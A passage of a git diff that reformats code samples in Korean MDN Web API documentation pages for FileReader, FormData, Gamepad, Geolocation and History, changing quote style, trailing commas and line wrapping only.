+++ b/files/ko/web/api/filereader/readasdataurl/index.md
@@ -2,6 +2,7 @@
 title: FileReader.readAsDataURL()
 slug: Web/API/FileReader/readAsDataURL
 ---
+
 {{APIRef("File API")}}
 
 `readAsDataURL` 메서드는 컨텐츠를 특정 {{domxref("Blob")}} 이나 {{domxref("File")}}에서 읽어 오는 역할을 합니다. 읽어오는 read 행위가 종료되는 경우에, {{domxref("FileReader.readyState","readyState")}} 의 상태가 `DONE`이 되며, {{event("loadend")}} 이벤트가 트리거 됩니다. 이와 함께, base64 인코딩 된 스트링 데이터가 {{domxref("FileReader.result","result")}} 속성(attribute)에 담아지게 됩니다.
@@ -30,16 +31,16 @@ instanceOfFileReader.readAsDataURL(blob);
 
 ```js
 function previewFile() {
-  var preview = document.querySelector('img');
-  var file = document.querySelector('input[type=file]').files[0];
+  var preview = document.querySelector("img");
+  var file = document.querySelector("input[type=file]").files[0];
   var reader = new FileReader();
 
   reader.addEventListener(
-    'load',
+    "load",
     function () {
       preview.src = reader.result;
     },
-    false
+    false,
   );
 
   if (file) {
@@ -65,8 +66,8 @@ function previewFile() {
 
 ```js
 function previewFiles() {
-  var preview = document.querySelector('#preview');
-  var files = document.querySelector('input[type=file]').files;
+  var preview = document.querySelector("#preview");
+  var files = document.querySelector("input[type=file]").files;
 
   function readAndPreview(file) {
     // `file.name` 형태의 확장자 규칙에 주의하세요
@@ -74,7 +75,7 @@ function previewFiles() {
       var reader = new FileReader();
 
       reader.addEventListener(
-        'load',
+        "load",
         function () {
           var image = new Image();
           image.height = 100;
@@ -82,7 +83,7 @@ function previewFiles() {
           image.src = this.result;
           preview.appendChild(image);
         },
-        false
+        false,
       );
 
       reader.readAsDataURL(file);
diff --git a/files/ko/web/api/filereader/readastext/index.md b/files/ko/web/api/filereader/readastext/index.md
index 3b54ed4662a31f..804105b582420d 100644
--- a/files/ko/web/api/filereader/readastext/index.md
+++ b/files/ko/web/api/filereader/readastext/index.md
@@ -2,6 +2,7 @@
 title: FileReader.readAsText()
 slug: Web/API/FileReader/readAsText
 ---
+
 {{APIRef("File API")}}
 
 **`readAsText()`** 메서드는 지정된 {{domxref("Blob")}} 이나 {{domxref("File")}} 의 컨텐츠를 읽기 위해 사용합니다. 읽기 연산이 끝나면, {{domxref("FileReader.readyState","readyState")}} 가 `DONE`으로 바뀌고, {{event("loadend")}} 이벤트가 트리거 되고, {{domxref("FileReader.result","result")}} 프로퍼티는 파일의 내용을 텍스트 문자열로 가집니다.
diff --git a/files/ko/web/api/filereader/result/index.md b/files/ko/web/api/filereader/result/index.md
index 73b0f0cb73f9b2..4225fbc5ca0aa3 100644
--- a/files/ko/web/api/filereader/result/index.md
+++ b/files/ko/web/api/filereader/result/index.md
@@ -2,6 +2,7 @@
 title: FileReader.result
 slug: Web/API/FileReader/result
 ---
+
 {{APIRef("File API")}}
 
 파일의 내용을 반환한다. 이 속성은 읽기가 완료 된 후에만 사용 가능 하며 데이터의 형식은 읽기 작업에 어떤 함수가 사용되었는가에 의해 정해진다.
@@ -9,7 +10,7 @@ slug: Web/API/FileReader/result
 ## Syntax
 
 ```js
-var file = instanceOfFileReader.result
+var file = instanceOfFileReader.result;
 ```
 
 ## Value
diff --git a/files/ko/web/api/formdata/append/index.md b/files/ko/web/api/formdata/append/index.md
index 6174107600c212..5336ac29e068a3 100644
--- a/files/ko/web/api/formdata/append/index.md
+++ b/files/ko/web/api/formdata/append/index.md
@@ -46,15 +46,15 @@ var formData = new FormData(); // Currently empty
 {{domxref("FormData.append")}}를 사용하여 key/value 쌍을 추가할 수 있습니다:
 
 ```js
-formData.append('username', 'Chris');
-formData.append('userpic', myFileInput.files[0], 'chris.jpg');
+formData.append("username", "Chris");
+formData.append("userpic", myFileInput.files[0], "chris.jpg");
 ```
 
 일반 form 데이터와 마찬가지로 동일한 이름의 여러 값을 추가할 수 있습니다. 예를들면 (그리고 이름에 \[]를 추가하여 PHP의 명명 규칙과 호환이 가능합니다):
 
 ```js
-formData.append('userpic[]', myFileInput.files[0], 'chris1.jpg');
-formData.append('userpic[]', myFileInput.files[1], 'chris2.jpg');
+formData.append("userpic[]", myFileInput.files[0], "chris1.jpg");
+formData.append("userpic[]", myFileInput.files[1], "chris2.jpg");
 ```
 
 이 기술을 사용하면 서버에 올라간 결과 데이터가 루프를 도는데 도움이 되는 구조이기 때문에, 이 기술을 사용하면 다중 -파일 업로드를 보다 쉽게 처리할 수 있습니다.
diff --git a/files/ko/web/api/formdata/delete/index.md b/files/ko/web/api/formdata/delete/index.md
index e3e54bfd8383e6..fea28c41f3ec47 100644
--- a/files/ko/web/api/formdata/delete/index.md
+++ b/files/ko/web/api/formdata/delete/index.md
@@ -35,7 +35,7 @@ var formData = new FormData(myForm);
 `delete()`를 사용하여 키와 값을 삭제할 수 있습니다:
 
 ```js
-formData.delete('username');
+formData.delete("username");
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/formdata/entries/index.md b/files/ko/web/api/formdata/entries/index.md
index 0f1ab6bcc5ebd2..131b5d47976eb9 100644
--- a/files/ko/web/api/formdata/entries/index.md
+++ b/files/ko/web/api/formdata/entries/index.md
@@ -24,12 +24,12 @@ formData.entries();
 ```js
 // Create a test FormData object
 var formData = new FormData();
-formData.append('key1', 'value1');
-formData.append('key2', 'value2');
+formData.append("key1", "value1");
+formData.append("key2", "value2");
 
 // Display the key/value pairs
-for(var pair of formData.entries()) {
-   console.log(pair[0]+ ', '+ pair[1]);
+for (var pair of formData.entries()) {
+  console.log(pair[0] + ", " + pair[1]);
 }
 ```
 
diff --git a/files/ko/web/api/formdata/formdata/index.md b/files/ko/web/api/formdata/formdata/index.md
index 89618288821ed8..0cd3484b041d4b 100644
--- a/files/ko/web/api/formdata/formdata/index.md
+++ b/files/ko/web/api/formdata/formdata/index.md
@@ -12,7 +12,7 @@ slug: Web/API/FormData/FormData
 ## Syntax
 
 ```js
-var formData = new FormData(form)
+var formData = new FormData(form);
 ```
 
 ### Parameters
@@ -31,7 +31,7 @@ var formData = new FormData(); // Currently empty
 {{domxref("FormData.append")}}을 사용하여 key/value 쌍을 추가할 수 있습니다:
 
 ```js
-formData.append('username', 'Chris');
+formData.append("username", "Chris");
 ```
 
 또는 `FormData` 객체를 만들 때 선택적으로 `form` argument를 지정할 수 있는데, 지정된 양식대로 value를 미리 채우는 것입니다:
@@ -40,24 +40,24 @@ formData.append('username', 'Chris');
 <form id="myForm" name="myForm">
   <div>
     <label for="username">Enter name:</label>
-    <input type="text" id="username" name="username">
+    <input type="text" id="username" name="username" />
   </div>
   <div>
     <label for="useracc">Enter account number:</label>
-    <input type="text" id="useracc" name="useracc">
+    <input type="text" id="useracc" name="useracc" />
   </div>
   <div>
     <label for="userfile">Upload file:</label>
-    <input type="file" id="userfile" name="userfile">
+    <input type="file" id="userfile" name="userfile" />
   </div>
-<input type="submit" value="Submit!">
+  <input type="submit" value="Submit!" />
 </form>
 ```
 
 > **참고:** 모든 입력 요소는 'name' 속성(attribute) 을 갖고 있습니다. 나중에 value에 접근하는데 필요합니다.
 
 ```js
-var myForm = document.getElementById('myForm');
+var myForm = document.getElementById("myForm");
 formData = new FormData(myForm);
 ```
 
diff --git a/files/ko/web/api/formdata/get/index.md b/files/ko/web/api/formdata/get/index.md
index 71db2f5bfb60ee..0c4536b92a7983 100644
--- a/files/ko/web/api/formdata/get/index.md
+++ b/files/ko/web/api/formdata/get/index.md
@@ -35,14 +35,14 @@ var formData = new FormData();
 {{domxref("FormData.append")}}를 사용하여 `username` 에 두 개의 값을 추가합니다:
 
 ```js
-formData.append('username', 'Chris');
-formData.append('username', 'Bob');
+formData.append("username", "Chris");
+formData.append("username", "Bob");
 ```
 
 `get()` 함수를 사용하면 `username` 의 첫 번째 value만 반환합니다:
 
 ```js
-formData.get('username'); // Returns "Chris"
+formData.get("username"); // Returns "Chris"
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/formdata/getall/index.md b/files/ko/web/api/formdata/getall/index.md
index 140dfdcb3cffa1..938555392eb29d 100644
--- a/files/ko/web/api/formdata/getall/index.md
+++ b/files/ko/web/api/formdata/getall/index.md
@@ -35,14 +35,14 @@ var formData = new FormData();
 {{domxref("FormData.append")}}를 사용하여 `username` 에 두 개의 값을 추가합니다:
 
 ```js
-formData.append('username', 'Chris');
-formData.append('username', 'Bob');
+formData.append("username", "Chris");
+formData.append("username", "Bob");
 ```
 
 `getAll()` 함수는 `username` 의 값들을 배열로 반환합니다:
 
 ```js
-formData.getAll('username'); // Returns ["Chris", "Bob"]
+formData.getAll("username"); // Returns ["Chris", "Bob"]
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/formdata/has/index.md b/files/ko/web/api/formdata/has/index.md
index 4fdcbf3e120800..1205bfec7229d0 100644
--- a/files/ko/web/api/formdata/has/index.md
+++ b/files/ko/web/api/formdata/has/index.md
@@ -2,6 +2,7 @@
 title: FormData.has()
 slug: Web/API/FormData/has
 ---
+
 {{APIRef("XMLHttpRequest")}}
 
 {{domxref("FormData")}} 인터페이스의 **`has()`** 메서드는 `FormData` 객체에 특정 키가 들어 있는지 여부를 나타내는 boolean 을 반환합니다.
@@ -34,9 +35,9 @@ var formData = new FormData();
 다음 스니펫(코드 조각)은 `FormData` 객체안에 `username` 이 존재하는지 테스트한 결과와, {{domxref("FormData.append")}}를 사용하여 `username` 에 값을 추가한 이후의 결과를 보여줍니다 :
 
 ```js
-formData.has('username'); // Returns false
-formData.append('username', 'Chris');
-formData.has('username'); // Returns true
+formData.has("username"); // Returns false
+formData.append("username", "Chris");
+formData.has("username"); // Returns true
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/formdata/index.md b/files/ko/web/api/formdata/index.md
index 2141a36ebab23e..428ec3910095a6 100644
--- a/files/ko/web/api/formdata/index.md
+++ b/files/ko/web/api/formdata/index.md
@@ -2,6 +2,7 @@
 title: FormData
 slug: Web/API/FormData
 ---
+
 {{APIRef("XMLHttpRequest")}}
 
 **`FormData`** 인터페이스는 form 필드와 그 값을 나타내는 일련의 key/value 쌍을 쉽게 생성할 수 있는 방법을 제공합니다. 또한 {{domxref("XMLHttpRequest.send()")}} 메서드를 사용하여 쉽게 전송할 수 있습니다. 인코딩 타입이 `"multipart/form-data"`로 설정된 경우, form에서 사용하는 것과 동일한 포맷을 사용해야 합니다.
diff --git a/files/ko/web/api/formdata/keys/index.md b/files/ko/web/api/formdata/keys/index.md
index 9874a75393aa5c..b472f338b67880 100644
--- a/files/ko/web/api/formdata/keys/index.md
+++ b/files/ko/web/api/formdata/keys/index.md
@@ -24,12 +24,12 @@ formData.keys();
 ```js
 // Create a test FormData object
 var formData = new FormData();
-formData.append('key1', 'value1');
-formData.append('key2', 'value2');
+formData.append("key1", "value1");
+formData.append("key2", "value2");
 
 // Display the keys
 for (var key of formData.keys()) {
-   console.log(key);
+  console.log(key);
 }
 ```
 
diff --git a/files/ko/web/api/formdata/set/index.md b/files/ko/web/api/formdata/set/index.md
index ea31b4e3c8e97e..5f4f531bcac7f2 100644
--- a/files/ko/web/api/formdata/set/index.md
+++ b/files/ko/web/api/formdata/set/index.md
@@ -2,6 +2,7 @@
 title: FormData.set()
 slug: Web/API/FormData/set
 ---
+
 {{APIRef("XMLHttpRequest")}}
 
 {{domxref("FormData")}} 인터페이스의 **`set()`** 메서드는 `FormData` 객체 내에 있는 기존 키에 새 값을 설정하거나, 존재하지 않을 경우 key/value을 추가합니다.
@@ -41,8 +42,8 @@ var formData = new FormData(); // Currently empty
 {{domxref("FormData.set")}}를 사용하여 key/value 쌍을 추가할 수 있습니다::
 
 ```js
-formData.set('username', 'Chris');
-formData.set('userpic', myFileInput.files[0], 'chris.jpg');
+formData.set("username", "Chris");
+formData.set("userpic", myFileInput.files[0], "chris.jpg");
 ```
 
 ## 명세서
diff --git a/files/ko/web/api/formdata/values/index.md b/files/ko/web/api/formdata/values/index.md
index 58c35f46708419..2436448f65fc38 100644
--- a/files/ko/web/api/formdata/values/index.md
+++ b/files/ko/web/api/formdata/values/index.md
@@ -24,12 +24,12 @@ formData.values();
 ```js
 // Create a test FormData object
 var formData = new FormData();
-formData.append('key1', 'value1');
-formData.append('key2', 'value2');
+formData.append("key1", "value1");
+formData.append("key2", "value2");
 
 // Display the values
 for (var value of formData.values()) {
-   console.log(value);
+  console.log(value);
 }
 ```
 
diff --git a/files/ko/web/api/fullscreen_api/index.md b/files/ko/web/api/fullscreen_api/index.md
index e36b6cb207f251..16b7b762ac522f 100644
--- a/files/ko/web/api/fullscreen_api/index.md
+++ b/files/ko/web/api/fullscreen_api/index.md
@@ -101,11 +101,15 @@ _Fullscreen API는 full-screen mode를 켜고 끌 때 혹은, full-screen mode
 페이지가 로드되면, 이 코드가 실행되어 <kbd>Enter</kbd> 키 를 주시하는 이벤트 리스너를 설정합니다.
 
 ```js
-document.addEventListener("keypress", function(e) {
-  if (e.keyCode === 13) {
-    toggleFullScreen();
-  }
-}, false);
+document.addEventListener(
+  "keypress",
+  function (e) {
+    if (e.keyCode === 13) {
+      toggleFullScreen();
+    }
+  },
+  false,
+);
 ```
 
 ### Toggling full-screen mode
diff --git a/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.md b/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.md
index d0f0e6957c35ae..869bbb8a224b4e 100644
--- a/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.md
+++ b/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.md
@@ -16,10 +16,14 @@ The [Gamepad API](/ko/docs/Web/API/Gamepad_API) introduces new events on the {{
 {{event("gamepadconnected")}} 이벤트를 이렇게 이용할 수 있습니다:
 
 ```js
-window.addEventListener("gamepadconnected", function(e) {
-  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
-    e.gamepad.index, e.gamepad.id,
-    e.gamepad.buttons.length, e.gamepad.axes.length);
+window.addEventListener("gamepadconnected", function (e) {
+  console.log(
+    "Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    e.gamepad.index,
+    e.gamepad.id,
+    e.gamepad.buttons.length,
+    e.gamepad.axes.length,
+  );
 });
 ```
 
@@ -30,9 +34,12 @@ window.addEventListener("gamepadconnected", function(e) {
 When a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g. {{ event("gamepadconnected") }}), a second event is dispatched to the focused window, {{ event("gamepaddisconnected") }}:
 
 ```js
-window.addEventListener("gamepaddisconnected", function(e) {
-  console.log("Gamepad disconnected from index %d: %s",
-    e.gamepad.index, e.gamepad.id);
+window.addEventListener("gamepaddisconnected", function (e) {
+  console.log(
+    "Gamepad disconnected from index %d: %s",
+    e.gamepad.index,
+    e.gamepad.id,
+  );
 });
 ```
 
@@ -53,8 +60,20 @@ function gamepadHandler(event, connecting) {
   }
 }
 
-window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
-window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+window.addEventListener(
+  "gamepadconnected",
+  function (e) {
+    gamepadHandler(e, true);
+  },
+  false,
+);
+window.addEventListener(
+  "gamepaddisconnected",
+  function (e) {
+    gamepadHandler(e, false);
+  },
+  false,
+);
 ```
 
 This previous example also demonstrates how the `gamepad` property can be held after the event has completed — a technique we will use for device state querying later.
@@ -68,11 +87,15 @@ Performing such checks tends to involve using the {{ domxref("Gamepad") }} objec
 The {{domxref("Navigator.getGamepads()")}} method returns an array of all devices currently visible to the webpage, as {{ domxref("Gamepad") }} objects (the first value is always `null`, so `null` will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:
 
 ```js
-window.addEventListener("gamepadconnected", function(e) {
+window.addEventListener("gamepadconnected", function (e) {
   var gp = navigator.getGamepads()[e.gamepad.index];
-  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
-    gp.index, gp.id,
-    gp.buttons.length, gp.axes.length);
+  console.log(
+    "Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    gp.index,
+    gp.id,
+    gp.buttons.length,
+    gp.axes.length,
+  );
 });
 ```
 
@@ -109,9 +132,18 @@ var b = 0;
 Next we use the {{event("gamepadconnected")}} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads()") }}`[0]`, print information about the gamepad into our gamepad info `div`, and fire the `gameLoop()` function that starts the whole ball movement process up.
 
 ```js
-window.addEventListener("gamepadconnected", function(e) {
+window.addEventListener("gamepadconnected", function (e) {
   var gp = navigator.getGamepads()[e.gamepad.index];
-  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+  gamepadInfo.innerHTML =
+    "Gamepad connected at index " +
+    gp.index +
+    ": " +
+    gp.id +
+    ". It has " +
+    gp.buttons.length +
+    " buttons and " +
+    gp.axes.length +
+    " axes.";
 
   gameLoop();
 });
@@ -120,7 +152,7 @@ window.addEventListener("gamepadconnected", function(e) {
 Now we use the {{Event("gamepaddisconnected")}} event to check if the gamepad is disconnected again. If so, we stop the {{DOMxRef("Window.requestAnimationFrame", "requestAnimationFrame()")}} loop (see below) and revert the gamepad information back to what it was originally.
 
 ```js
-window.addEventListener("gamepaddisconnected", function(e) {
+window.addEventListener("gamepaddisconnected", function (e) {
   gamepadInfo.innerHTML = "Waiting for gamepad.";
 
   cancelRequestAnimationFrame(start);
@@ -132,18 +164,30 @@ Chrome does things differently here. Instead of constantly storing the gamepad's
 ```js
 var interval;
 
-if (!('ongamepadconnected' in window)) {
+if (!("ongamepadconnected" in window)) {
   // No gamepad events available, poll instead.
   interval = setInterval(pollGamepads, 500);
 }
 
 function pollGamepads() {
-  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  var gamepads = navigator.getGamepads
+    ? navigator.getGamepads()
+    : navigator.webkitGetGamepads
+    ? navigator.webkitGetGamepads
+    : [];
   for (var i = 0; i < gamepads.length; i++) {
     var gp = gamepads[i];
     if (gp) {
-      gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id +
-        ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+      gamepadInfo.innerHTML =
+        "Gamepad connected at index " +
+        gp.index +
+        ": " +
+        gp.id +
+        ". It has " +
+        gp.buttons.length +
+        " buttons and " +
+        gp.axes.length +
+        " axes.";
       gameLoop();
       clearInterval(interval);
     }
@@ -157,14 +201,18 @@ After all this is done, we use our requestAnimationFrame() to request the next a
 
 ```js
 function buttonPressed(b) {
-  if (typeof(b) == "object") {
+  if (typeof b == "object") {
     return b.pressed;
   }
   return b == 1.0;
 }
 
 function gameLoop() {
-  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  var gamepads = navigator.getGamepads
+    ? navigator.getGamepads()
+    : navigator.webkitGetGamepads
+    ? navigator.webkitGetGamepads
+    : [];
   if (!gamepads) {
     return;
   }
@@ -197,7 +245,7 @@ function gameLoop() {
 This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ event("gamepadconnected") }} and {{ event("gamepaddisconnected") }} events in order to display the state of all gamepads connected to the system. You can find a [working demo](http://luser.github.io/gamepadtest/) and look at the [full source code](https://github.com/luser/gamepadtest) on Github.
 
 ```js
-var haveEvents = 'ongamepadconnected' in window;
+var haveEvents = "ongamepadconnected" in window;
 var controllers = {};
 
 function connecthandler(e) {
@@ -278,7 +326,7 @@ function updateStatus() {
       var b = buttons[i];
       var val = controller.buttons[i];
       var pressed = val == 1.0;
-      if (typeof(val) == "object") {
+      if (typeof val == "object") {
         pressed = val.pressed;
         val = val.value;
       }
@@ -305,7 +353,11 @@ function updateStatus() {
 }
 
 function scangamepads() {
-  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+  var gamepads = navigator.getGamepads
+    ? navigator.getGamepads()
+    : navigator.webkitGetGamepads
+    ? navigator.webkitGetGamepads()
+    : [];
   for (var i = 0; i < gamepads.length; i++) {
     if (gamepads[i]) {
       if (gamepads[i].index in controllers) {
@@ -317,7 +369,6 @@ function scangamepads() {
   }
 }
 
-
 window.addEventListener("gamepadconnected", connecthandler);
 window.addEventListener("gamepaddisconnected", disconnecthandler);
 
diff --git a/files/ko/web/api/geolocation/clearwatch/index.md b/files/ko/web/api/geolocation/clearwatch/index.md
index 3af407b0970431..26c5a6c12f3c6e 100644
--- a/files/ko/web/api/geolocation/clearwatch/index.md
+++ b/files/ko/web/api/geolocation/clearwatch/index.md
@@ -27,24 +27,24 @@ function success(pos) {
   var crd = pos.coords;
 
   if (target.latitude === crd.latitude && target.longitude === crd.longitude) {
-    console.log('Congratulation, you reach the target');
+    console.log("Congratulation, you reach the target");
     navigator.geolocation.clearWatch(id);
   }
-};
+}
 
 function error(err) {
-  console.warn('ERROR(' + err.code + '): ' + err.message);
-};
+  console.warn("ERROR(" + err.code + "): " + err.message);
+}
 
 target = {
-  latitude : 0,
+  latitude: 0,
   longitude: 0,
-}
+};
 
 options = {
   enableHighAccuracy: false,
   timeout: 5000,
-  maximumAge: 0
+  maximumAge: 0,
 };
 
 id = navigator.geolocation.watchPosition(success, error, options);
diff --git a/files/ko/web/api/geolocation/getcurrentposition/index.md b/files/ko/web/api/geolocation/getcurrentposition/index.md
index 1c17cb735d5abe..666f53579dc535 100644
--- a/files/ko/web/api/geolocation/getcurrentposition/index.md
+++ b/files/ko/web/api/geolocation/getcurrentposition/index.md
@@ -2,6 +2,7 @@
 title: Geolocation.getCurrentPosition()
 slug: Web/API/Geolocation/getCurrentPosition
 ---
+
 {{securecontext_header}}{{ APIRef("Geolocation API") }}
 
 **`Geolocation.getCurrentPosition()`** 메서드는 장치의 현재 위치를 가져옵니다.
@@ -9,7 +10,7 @@ slug: Web/API/Geolocation/getCurrentPosition
 ## 구문
 
 ```js
-navigator.geolocation.getCurrentPosition(success, error, [options])
+navigator.geolocation.getCurrentPosition(success, error, [options]);
 ```
 
 ### 매개변수
@@ -33,13 +34,13 @@ navigator.geolocation.getCurrentPosition(success, error, [options])
 var options = {
   enableHighAccuracy: true,
   timeout: 5000,
-  maximumAge: 0
+  maximumAge: 0,
 };
 
 function success(pos) {
   var crd = pos.coords;
 
-  console.log('Your current position is:');
+  console.log("Your current position is:");
   console.log(`Latitude : ${crd.latitude}`);
   console.log(`Longitude: ${crd.longitude}`);
   console.log(`More or less ${crd.accuracy} meters.`);
diff --git a/files/ko/web/api/geolocation/watchposition/index.md b/files/ko/web/api/geolocation/watchposition/index.md
index 1b8568f1287fe7..6e29d633580839 100644
--- a/files/ko/web/api/geolocation/watchposition/index.md
+++ b/files/ko/web/api/geolocation/watchposition/index.md
@@ -35,24 +35,24 @@ function success(pos) {
   var crd = pos.coords;
 
   if (target.latitude === crd.latitude && target.longitude === crd.longitude) {
-    console.log('Congratulations, you reached the target');
+    console.log("Congratulations, you reached the target");
     navigator.geolocation.clearWatch(id);
   }
 }
 
 function error(err) {
-  console.warn('ERROR(' + err.code + '): ' + err.message);
+  console.warn("ERROR(" + err.code + "): " + err.message);
 }
 
 target = {
-  latitude : 0,
-  longitude: 0
+  latitude: 0,
+  longitude: 0,
 };
 
 options = {
   enableHighAccuracy: false,
   timeout: 5000,
-  maximumAge: 0
+  maximumAge: 0,
 };
 
 id = navigator.geolocation.watchPosition(success, error, options);
diff --git a/files/ko/web/api/geolocation_api/index.md b/files/ko/web/api/geolocation_api/index.md
index 9744b9a0bb18f4..426156587dc32a 100644
--- a/files/ko/web/api/geolocation_api/index.md
+++ b/files/ko/web/api/geolocation_api/index.md
@@ -4,6 +4,7 @@ slug: Web/API/Geolocation_API
 l10n:
   sourceCommit: 1511e914c6b1ce6f88056bfefd48a6aa585cebce
 ---
+
 {{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}
 
 **Geolocation API**는 사용자의 동의 하에 웹 애플리케이션에서 위치 정보에 접근할 수 있는 API입니다. 개인정보 보호를 위해, 브라우저는 위치 정보를 제공하기 전에 사용자에게 위치 정보 권한에 대한 확인을 받습니다.
diff --git a/files/ko/web/api/geolocation_api/using_the_geolocation_api/index.md b/files/ko/web/api/geolocation_api/using_the_geolocation_api/index.md
index 2b2cebf1e14694..263099d578c061 100644
--- a/files/ko/web/api/geolocation_api/using_the_geolocation_api/index.md
+++ b/files/ko/web/api/geolocation_api/using_the_geolocation_api/index.md
@@ -75,7 +75,7 @@ function error() {
 const options = {
   enableHighAccuracy: true,
   maximumAge: 30000,
-  timeout: 27000
+  timeout: 27000,
 };
 
 const watchID = navigator.geolocation.watchPosition(success, error, options);
@@ -91,7 +91,7 @@ const watchID = navigator.geolocation.watchPosition(success, error, options);
 
 ```js
 function success(position) {
-  const latitude  = position.coords.latitude;
+  const latitude = position.coords.latitude;
   const longitude = position.coords.longitude;
 
   // 위도와 경도를 사용해 작업 수행
@@ -109,7 +109,7 @@ function success(position) {
 ```js
 function errorCallback(error) {
   alert(`ERROR(${error.code}): ${error.message}`);
-};
+}
 ```
 
 ## 예제
@@ -119,11 +119,11 @@ function errorCallback(error) {
 ```css hidden
 body {
   padding: 20px;
-  background-color:#ffffc9
+  background-color: #ffffc9;
 }
 
 button {
-  margin: .5rem 0;
+  margin: 0.5rem 0;
 }
 ```
 
diff --git a/files/ko/web/api/geolocationcoordinates/longitude/index.md b/files/ko/web/api/geolocationcoordinates/longitude/index.md
index 617b119dcf28f6..85142bb24c6846 100644
--- a/files/ko/web/api/geolocationcoordinates/longitude/index.md
+++ b/files/ko/web/api/geolocationcoordinates/longitude/index.md
@@ -52,8 +52,8 @@ button.addEventListener("click", () => {
 
 ```html
 <p>
-  당신의 위치는 위도 <span id="latitude">0.00</span>°,
-  경도 <span id="longitude">0.00</span>° 입니다.
+  당신의 위치는 위도 <span id="latitude">0.00</span>°, 경도
+  <span id="longitude">0.00</span>° 입니다.
 </p>
 <button id="get-location">내 위치 찾기</button>
 ```
diff --git a/files/ko/web/api/geolocationposition/index.md b/files/ko/web/api/geolocationposition/index.md
index c87f5132907457..983801cc994173 100644
--- a/files/ko/web/api/geolocationposition/index.md
+++ b/files/ko/web/api/geolocationposition/index.md
@@ -2,6 +2,7 @@
 title: GeolocationPosition
 slug: Web/API/GeolocationPosition
 ---
+
 {{securecontext_header}}{{APIRef("Geolocation API")}}
 
 **`GeolocationPosition`** 인터페이스는 주어진 시간에 장치가 위치한 지점을 나타냅니다. 지점은 {{domxref("Coordinates")}} 객체로 표현하여, 지구를 나타내는 회전타원체 위의 2D 위치와 더불어 높이와 속도 정보를 담습니다.
diff --git a/files/ko/web/api/history/back/index.md b/files/ko/web/api/history/back/index.md
index c96e79c58b65a8..f2021fe2114884 100644
--- a/files/ko/web/api/history/back/index.md
+++ b/files/ko/web/api/history/back/index.md
@@ -2,6 +2,7 @@
 title: History.back()
 slug: Web/API/History/back
 ---
+
 {{APIRef("DOM")}}
 
 **`History.back()`** 메서드는 브라우저가 세션 기록의 바로 뒤 페이지로 이동하도록 지시합니다. {{domxref("History.go", "history.go(-1)")}}와 같습니다. 이전 페이지가 없는 경우 아무것도 하지 않습니다.
@@ -11,7 +12,7 @@ slug: Web/API/History/back
 ## 구문
 
 ```js
-history.back()
+history.back();
 ```
 
 ## 예제
@@ -27,7 +28,7 @@ history.back()
 ### JavaScript
 
 ```js
-document.getElementById('go-back').addEventListener('click', () => {
+document.getElementById("go-back").addEventListener("click", () => {
   window.history.back();
 });
 ```
diff --git a/files/ko/web/api/history/forward/index.md b/files/ko/web/api/history/forward/index.md
index e57c46ce936413..4d41a5132e2095 100644
--- a/files/ko/web/api/history/forward/index.md
+++ b/files/ko/web/api/history/forward/index.md
@@ -12,7 +12,7 @@ slug: Web/API/History/forward
 ## 구문
 
 ```js
-history.forward()
+history.forward();
 ```
 
 ## 예제
@@ -22,15 +22,15 @@ history.forward()
 ### HTML
 
 ```html
-<button id='go-forward'>앞으로 가기!</button>
+<button id="go-forward">앞으로 가기!</button>
 ```
 
 ### JavaScript
 
 ```js
-document.getElementById('go-forward').addEventListener('click', e => {
+document.getElementById("go-forward").addEventListener("click", (e) => {
   window.history.forward();
-})
+});
 ```
 
 ## 명세
diff --git a/files/ko/web/api/history/go/index.md b/files/ko/web/api/history/go/index.md
index 785534a65efa98..5344ce05ea3699 100644
--- a/files/ko/web/api/history/go/index.md
+++ b/files/ko/web/api/history/go/index.md
@@ -2,6 +2,7 @@
 title: History.go()
 slug: Web/API/History/go
 ---
+
 {{APIRef("History API")}}
 
 **`History.go()`** 메서드는 history 세션에서 특정한 페이지를 로딩합니다. 인자로 전달하는 파라미터 값에 따라 history를 통해서 페이지를 앞 뒤로 이동할 수 있습니다.
@@ -11,7 +12,7 @@ slug: Web/API/History/go
 ## 구문
 
 ```js
-history.go([delta])
+history.go([delta]);
 ```
 
 ### Parameters
@@ -24,13 +25,13 @@ history.go([delta])
 한 페이지 뒤로 가기 ({{domxref("History.back", "back()")}}를 호출한 것과 동일):
 
 ```js
-history.go(-1)
+history.go(-1);
 ```
 
 {{domxref("History.forward", "forward()")}}와 동일한 한 페이지 앞으로 가기:
 
 ```js
-history.go(1)
+history.go(1);
 ```
 
 두 페이지 앞으로 가기:
diff --git a/files/ko/web/api/history/index.md b/files/ko/web/api/history/index.md
index 8de4be0f9bba1a..3143dafff709c5 100644
--- a/files/ko/web/api/history/index.md
+++ b/files/ko/web/api/history/index.md
@@ -2,6 +2,7 @@
 title: History
 slug: Web/API/History
 ---
+
 {{APIRef("HTML DOM")}}
 
